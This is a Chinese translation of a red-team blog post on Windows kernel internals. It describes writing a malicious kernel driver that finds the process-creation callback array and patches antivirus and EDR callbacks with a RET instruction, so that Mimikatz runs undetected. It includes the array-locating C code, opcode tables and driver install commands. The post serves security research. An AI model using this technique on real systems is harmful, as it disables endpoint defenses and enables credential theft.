Windows内核中的猫鼠游戏,Part 1

匿名者  825天前

在本系列文章中,我们将为读者介绍如何在Windows内核层面与杀毒软件进行对抗。

1. KdPrint(“Hello, world!\n”);

在绕过端点检测和响应(EDR)软件和反病毒(AV)软件时,不仅可以在用户态下完成,也可以从Windows内核态中完成。虽然这个任务听起来让人头大,但是,它实际上并没有想象的那样可怕或困难;不过,这个过程肯定会涉及C/C++,以及一点汇编知识——我们相信,只要大家付出适当的资源和时间,就一定能克服所有的困难。

在这第一篇文章中,我将阐述在Windows内核层面绕过杀毒软件背后的一些技术概念和想法,以及回顾我成功绕过/禁用一个著名的反病毒产品的初步战果,但后面会进行更详细的介绍。

2. BugCheck?

在继续阅读下文之前,我强烈建议查看这篇文章,在这篇文章中,我简要介绍了用户空间(在一定程度上还有内核空间)以及EDR如何与它们进行交互的。

1.png

简单地说,Windows操作系统大致由两层组成:用户空间和内核空间。

用户空间或用户态包含Windows本机APIntdll.dllWIN32子系统:kernel32.dlluser32.dlladvapi.dll……以及所有用户进程和应用程序。当应用程序或进程需要对硬件设备、内存、CPU等进行更高级的访问或控制时,它们将通过ntdll.dllWindows内核进行交互。

同时,dll库中包含的函数将把一个名为“系统服务号”的数字加载到CPUEAX寄存器中,然后执行syscall指令(x64位),该指令的作用是切换到内核模式,同时跳转到一个名为系统服务调度程序的预定义例程。系统服务调度程序使用EAX寄存器中的数字作为索引,在系统服务调度表(SSDT)中执行查找相应的系统服务。然后,代码将跳转到找到的系统服务,并在执行完成后返回到用户模式。

内核空间或内核态位于用户空间和硬件之间,由许多不同的元素组成。在内核空间的核心,我们可以看到ntoskrnl.exe,或者我们称之为内核。这个可执行文件包含最关键的OS代码,如线程调度、中断和异常调度以及各种内核原语。同时,它还包含不同的管理器,如I/O管理器和内存管理器。在内核本身旁边,我们可以看到设备驱动程序,它们是可加载的内核模块。在这个系列文章中,我主要就是鼓捣这些驱动程序,因为它们完全在内核模式下运行。除了内核本身和各种驱动程序之外,内核空间还包含硬件抽象层(HAL)Win32K.sys,后者主要处理用户界面(UI)以及各种系统和子系统进程(lsass.exewinlogon.exeservices.exe等),但它们与EDRS/AVS的关系不大。

与用户空间(每个进程都有自己的虚拟地址空间)相反,内核空间中运行的所有代码共享一个公共虚拟地址空间。这意味着内核模式驱动程序可以覆盖或写入属于其他驱动程序的内存,甚至内核本身。当这种情况发生并导致驱动程序崩溃时,整个操作系统将一起玩完。

2005年,随着WindowsXP第一个x64位版本的推出,微软引入了一个新的功能,称为内核补丁保护(KPP),俗称PatchGuardPatchGuard负责保护Window内核的完整性,具体来说,它会计算内核重要数据结构的哈希值,并在随机时间间隔内进行比较。当PatchGuard检测到变动时,它将立即对系统进行Bugcheck检查(KeBugCheck(0x109);),进而导致臭名昭著的蓝屏死机(BSOD),并显示信息“critical_structure_corruption”。 

3. 两条战线上的战斗

我们的最初目标是开发一个能够禁用、绕过、误导或以其他方式阻碍目标系统上的EDR/AV软件的内核驱动程序。那么,究竟什么是驱动程序,为什么我们需要借助于它?

正如微软文档中所述,驱动程序是一个软件组件,用于实现操作系统和设备之间相互通信。我们大多数人都熟悉“显卡驱动”这个术语;我们经常需要更新它以支持最新的游戏。然而,并不是所有的驱动程序都与硬件绑定,因为还有一类独立的驱动程序,它们称为软件驱动程序。

1.png 

软件驱动程序在内核模式下运行,用于从用户模式应用程序访问仅在内核模式下可用的受保护数据。为了理解为什么我们需要借助于驱动程序,我们必须回顾过去介绍的知识,并考虑EDR/AV产品是如何工作的或过去是如何工作的。

免责声明:我绝不是专家,写这篇博客文章所用的许多信息来源可能是可信的,也可能不是完整的或准确的。

随着攻击和攻击复杂性的增加,EDR/AV产品也在与时俱进。EDR/AV检测恶意软件活动的一种常见方法,就是挂钩用户空间中的 WIN32 API 函数并将执行权传给自己。这样,当进程或应用程序调用WIN32 API函数时,它就会经由EDR/AV,以便对其进行检查、授权或拦截。恶意软件作者可以通过直接使用底层的Windows原生APIntdll.dll)函数绕过了这种挂钩方法,因为这时就不用WIN32 API函数了。当然,EDR/AV产品也会对这些变化做出相应的调整,并开始挂钩Windows本机API函数。不过,恶意软件作者也可以通过多种方法来绕过这些钩子,比如直接使用系统调用、解除钩子等。关于这方面的内容,请参阅@shitsecure(S3cur3Th1sSh1t)介绍的相关绕过技术。

当这场战斗不能再在用户空间进行时(因为Windows Native API是最低级别的),它就过渡到了内核空间。这时,EDR/AV开始修补系统服务调度表(SSDT),而不是钩住本地API函数。听起来很熟悉对吧?当ntdll.dll的执行权交给系统服务调度器程序后,它从SSDT中返回的是一个属于EDR/AV函数的内存地址,而不是原来的系统服务。这种给SSDT打补丁的做法充其量是有风险的,因为它影响到整个操作系统,如果出了问题,就会导致崩溃。

随着PatchGuardKPP)机制的引入,微软在x64位版本的Windows中不再支持对SSDT的修补(x86不受影响),转而引入了一个名为内核回调函数的新功能。驱动程序可以为某个动作注册一个回调函数。当这个动作被执行时,驱动程序将收到一个行动前或行动后的通知。

于是,EDR/AV产品大量使用这些回调机制来执行它们的安全检查。一个很好的例子是pssetCreateProcessNotifyRouture()回调函数:

  1. 当用户应用程序希望生成一个新进程时,它将调用kernel32.dll中的CreateProcessW()函数,然后该函数将触发createprocess回调,让内核知道将要创建一个新进程。
  2. 同时,EDR/AV驱动程序已实现PsSetCreateProcessNotifyRoutine()回调函数,并将指定函数(0xFA7F) 分配给该回调函数。
  3. 内核在回调数组中注册EDR/AV驱动程序函数地址(0xFA7F)
  4. 内核从CreateProcessW()接收进程创建回调,并向回调数组中的所有注册驱动程序发送通知。
  5. EDR/AV驱动程序接收进程创建通知,并执行其分配的函数(0xFA7F)
  6. EDR/AV驱动程序函数(0xFA7F)将在用户空间中运行的EDR/AV应用程序注入到用户应用程序的虚拟地址空间中,并挂钩ntdll.dll,将执行权转给自己。

1.png 

随着EDR/AV产品过渡到内核空间,恶意软件作者也被迫通过内核驱动程序进入内核空间,以重新获得平等地位。恶意驱动程序的作用是相当直接的:取消对EDR/AV驱动程序的内核回调。那么,如何才能实现这一点呢?

  1.     假设我们要在用户空间运行的恶意程序为Mimikatz.exe,这是一个众所周知的工具,可以从内存中提取明文密码、哈希值、PIN码和Kerberos票证。
  2.     恶意应用程序指示恶意驱动程序禁用EDR/AV产品。
  3.     恶意驱动程序将首先定位并读取回调数组,然后通过用返回指令RET0xC3)替换EDR/AV的回调函数(0xFA7F)中的第一条指令,从而跳过EDR/AV驱动程序的所有条目。
  4.     现在Mimikatz.exe就可以运行并将调用ReadProcessMemory()了,这将触发一个回调。
  5.     内核收到回调,并向回调数组中所有注册的驱动程序发送通知。
  6.     EDR/AV驱动收到进程创建通知并执行其指定的函数(0xFA7F)。
  7.     EDR/AV驱动函数(0xFA7F)执行RET0xC3)指令并立即返回。
  8.     执行权传给ReadProcessMemory(),它将调用NtReadVirtualMemory(),后者又将执行syscall并切换到内核模式以读取lsass.exe进程内存。

1.png

4. 不要重新发明轮子

掌握了所有这些知识后,下面我们就开始将理论付诸实践。我偶然发现了@fdiskyou的《Windows Kernel PsCallback Experiments》文章,其中深入解释了他是如何编写自己的恶意驱动程序和恶意用户应用程序来禁用上述EDR/AV的。要使用该项目,你需要VisualStudio 2019和最新的Windows SDKWDK

此外,我还搭建了两个虚拟机,以便用WinDbg进行远程内核调试:

  •    Windows 10 build 19042
  •    Windows 11 build 21996

并启用下面的选项:

  • bcdedit /set TESTSIGNING ON
  • bcdedit /debug on
  • bcdedit /dbgsettings serial debugport:2baudrate:115200
  • bcdedit /set hypervisorlaunchtype off

为了编译和生成驱动程序项目,我必须进行一些必要的修改。首先,生成目标应为Debug x64。接下来,我通过修改evil.inf文件将当前驱动程序转换为原始驱动程序以满足新要求。        

;

; evil.inf

[Version]

Signature="$WINDOWS NT$"

Class=System

ClassGuid={4d36e97d-e325-11ce-bfc1-08002be10318}

Provider=%ManufacturerName%

DriverVer=

CatalogFile=evil.cat

PnpLockDown=1 

[DestinationDirs]

DefaultDestDir = 12

 

[SourceDisksNames]

1 = %DiskName%,,,"" 

[SourceDisksFiles]  

[DefaultInstall.ntamd64] 

[Standard.NT$ARCH$] 

[Strings]

ManufacturerName="<Yourmanufacturer name>" ;TODO: Replace with your manufacturer name

ClassName=""

DiskName="evil Source Disk" 

编译驱动程序并使用测试证书进行签名后,我将其安装在远程连接WinDbgWindows 10 VM上。为了在WinDbg中查看内核调试消息,我将默认掩码更新为8: kd> ed Kd_Default_Mask 8

sc create evil type= kernel binPath= C:\Users\Cerbersec\Desktop\driver\evil.sys

sc start evil

1.png

1.png

使用-l标志运行reamcli.exe应用程序,就可以显示回调数组中为创建进程和线程而注册的所有回调例程。当我第一次尝试时,却收到了“Page Fault in Non-Paged Area”错误消息。

5.三个字节的奥秘

这个BSOD消息表明,我正在尝试访问未提交的内存,这是一个立即的检测错误(immediate bugcheck)。发生这种情况的原因与Windows版本控制和在内存中查找回调数组的方式有关。

1.webp

手动定位内存中的回调数组非常简单,可以使用WinDbg或任何其他内核调试器来完成。首先,我们反汇编pssetCreateProcessNotifyRouture()函数并查找第一个CALL(0xE8)指令。

1.webp

接下来,我们反汇编PspSetCreateProcessNotifyRoutine()函数,并找到LEA0x4C 0x8D0x2D)(加载有效地址)指令。

1.webp

然后,我们可以检查LEA指令保存到r13寄存器中的内存地址。这就是回调数组在内存中的地址。

1.webp

要查看回调数组中的不同驱动程序,我们需要使用回调数组中的地址和0xFFFFFFFFFFFFFFFF8执行逻辑AND操作。

1.webp

驱动程序大致遵循同样的方法来定位内存中的回调数组;然后,计算我们手动寻找的指令相对于PsSetCreateProcessNotifyRoutine()函数的基址的偏移量,这个基址可以通过MmGetSystemRoutineAddress()函数获得。

ULONG64 FindPspCreateProcessNotifyRoutine()

{

   LONG OffsetAddr = 0;

   ULONG64 i = 0;

   ULONG64 pCheckArea = 0;

   UNICODE_STRING unstrFunc; 

   RtlInitUnicodeString(&unstrFunc,L"PsSetCreateProcessNotifyRoutine");

   //obtain the PsSetCreateProcessNotifyRoutine() function base address

   pCheckArea = (ULONG64)MmGetSystemRoutineAddress(&unstrFunc);

   KdPrint(("[+] PsSetCreateProcessNotifyRoutine is at address: %llx\n", pCheckArea)); 

   //loop though the base address + 20 bytes and search for the rightOPCODE (instruction)

   //we're looking for 0xE8 OPCODE which is the CALL instruction

   for (i = pCheckArea; i < pCheckArea + 20; i++)

    {

       if ((*(PUCHAR)i == OPCODE_PSP[g_WindowsIndex]))

       {

           OffsetAddr = 0; 

           //copy 4 bytes after CALL (0xE8) instruction, the 4 bytes contain therelative offset to the PspSetCreateProcessNotifyRoutine() function address

           memcpy(&OffsetAddr, (PUCHAR)(i + 1), 4);

           pCheckArea = pCheckArea + (i - pCheckArea) + OffsetAddr + 5; 

           break;

       }

    } 

   KdPrint(("[+] PspSetCreateProcessNotifyRoutine is at address: %llx\n", pCheckArea));    

   //loop through the PspSetCreateProcessNotifyRoutine base address + 0xFFbytes and search for the right OPCODES (instructions)

   //we're looking for 0x4C 0x8D 0x2D OPCODES which is the LEA, r13instruction

   for (i = pCheckArea; i < pCheckArea + 0xff; i++)

    {

       if (*(PUCHAR)i == OPCODE_LEA_R13_1[g_WindowsIndex] &&*(PUCHAR)(i + 1) == OPCODE_LEA_R13_2[g_WindowsIndex] && *(PUCHAR)(i +2) == OPCODE_LEA_R13_3[g_WindowsIndex])

       {

           OffsetAddr = 0; 

           //copy 4 bytes after LEA, r13 (0x4C 0x8D 0x2D) instruction

           memcpy(&OffsetAddr, (PUCHAR)(i + 3), 4);

           //return the relative offset to the callback array

           return OffsetAddr + 7 + i;

       }

    } 

   KdPrint(("[+] Returning from CreateProcessNotifyRoutine \n"));

   return 0;

这里的要点是OPCODE_*[g_WindowsIndex]的构造,其中OPCODE_*[g_WindowsIndex]的定义为:

UCHAR OPCODE_PSP[]   = { 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0xe8, 0xe8, 0xe8, 0xe8, 0xe8, 0xe8 };

//process callbacks

UCHAR OPCODE_LEA_R13_1[] = { 0x00, 0x00,0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x4c,0x4c, 0x4c, 0x4c, 0x4c, 0x4c };

UCHAR OPCODE_LEA_R13_2[] = { 0x00, 0x00,0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x8d,0x8d, 0x8d, 0x8d, 0x8d, 0x8d };

UCHAR OPCODE_LEA_R13_3[] = { 0x00, 0x00,0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x2d,0x2d, 0x2d, 0x2d, 0x2d, 0x2d };

// thread callbacks

UCHAR OPCODE_LEA_RCX_1[] = { 0x00, 0x00,0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x48,0x48, 0x48, 0x48, 0x48, 0x48 };

UCHAR OPCODE_LEA_RCX_2[] = { 0x00, 0x00,0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x8d,0x8d, 0x8d, 0x8d, 0x8d, 0x8d };

UCHAR OPCODE_LEA_RCX_3[] = { 0x00, 0x00,0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x0d,0x0d, 0x0d, 0x0d, 0x0d, 0x0d }; 

这里,g_WindowsIndex是基于计算机的Windows内部版本号(osversionInfo.dwBuildNumer)的索引。

为了解开BSOD的谜团,我将调试输出与手动计算进行了比较,发现自己的驱动程序一直在寻找0x00 OPCODE,而不是0xE8(CALL) OPCODE,以获得PSPSetCreateProcessNotifyRouture()函数的基地址。它找到的第一个0x00 OPCODE位于0xE8 OPCODE3个字节偏移量处,导致memcpy()函数复制了一个无效的偏移量。

在调整了OPCODE数组和负责从Windows内部版本号计算索引的函数之后,驱动程序就能正常运行了。

1.webp 

6.驱动程序与反病毒软件

为了测试这个驱动程序,我把它和一款著名的防病毒产品一起安装到Windows 11 VM上。在对回调数组中的AV驱动程序的回调例程打上补丁后,mimikatz.exe就能成功执行了。

image-9.png

当把AV驱动程序的回调例程恢复到原始状态时,mimikatz.exe被检出,并在执行时被拦截。

image-10.png

7. 总结

在本文中,我们首先研究用户空间与内核空间以及EDR如何与之交互。然后,我们继续向本文的目标进发:开发一个内核驱动程序来阻碍目标上的EDR/AV软件。为此,我们讨论了内核驱动程序和内核回调的概念,以及安全软件是如何使用它们的。作为第一个实际示例,我们使用evilcli,结合一些BSOD调试来篡改AV产品使用的内核回调,并实现了让MimiKatz在未被检测到的情况下正常执行的目标。

 

原文地址:https://blog.nviso.eu/2021/10/21/kernel-karnage-part-1/

最新评论

昵称
邮箱
提交评论